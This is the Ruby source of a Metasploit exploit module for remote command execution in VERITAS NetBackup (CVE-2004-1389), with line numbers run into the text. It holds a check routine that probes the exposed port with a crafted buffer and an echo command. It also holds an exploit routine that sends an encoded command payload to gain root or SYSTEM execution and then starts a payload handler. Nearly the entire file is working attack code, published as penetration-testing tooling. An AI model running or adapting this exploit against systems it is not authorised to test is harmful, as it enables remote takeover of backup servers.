Path: blob/master/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'VERITAS NetBackup Remote Command Execution',15'Description' => %q{16This module allows arbitrary command execution on an17ephemeral port opened by Veritas NetBackup, whilst an18administrator is authenticated. The port is opened and19allows direct console access as root or SYSTEM from20any source address.21},22'Author' => [ 'aushack' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2004-1389' ],26[ 'OSVDB', '11026' ],27[ 'BID', '11494' ]28],29'Privileged' => true,30'Platform' => %w{linux unix win},31'Arch' => ARCH_CMD,32'Payload' => {33'Space' => 1024,34'BadChars' => '',35'DisableNops' => true,36'Compat' =>37{38'PayloadType' => 'cmd',39'RequiredCmd' => 'generic perl telnet',40}41},42'Targets' => [43['Automatic', {}],44],45'DisclosureDate' => '2004-10-21',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)54end5556def check57connect5859sploit = rand_text_alphanumeric(10)60buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"6162sock.put(buf)63banner = sock.get_once6465disconnect6667if banner.to_s.index(sploit)68return Exploit::CheckCode::Vulnerable69end7071return Exploit::CheckCode::Safe72end7374def exploit75connect7677sploit = payload.encoded.split(" ")7879buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n"80buf << payload.encoded81buf << "\n"8283sock.put(buf)84res = sock.get_once8586print_status(res.to_s)8788handler89disconnect90end91end929394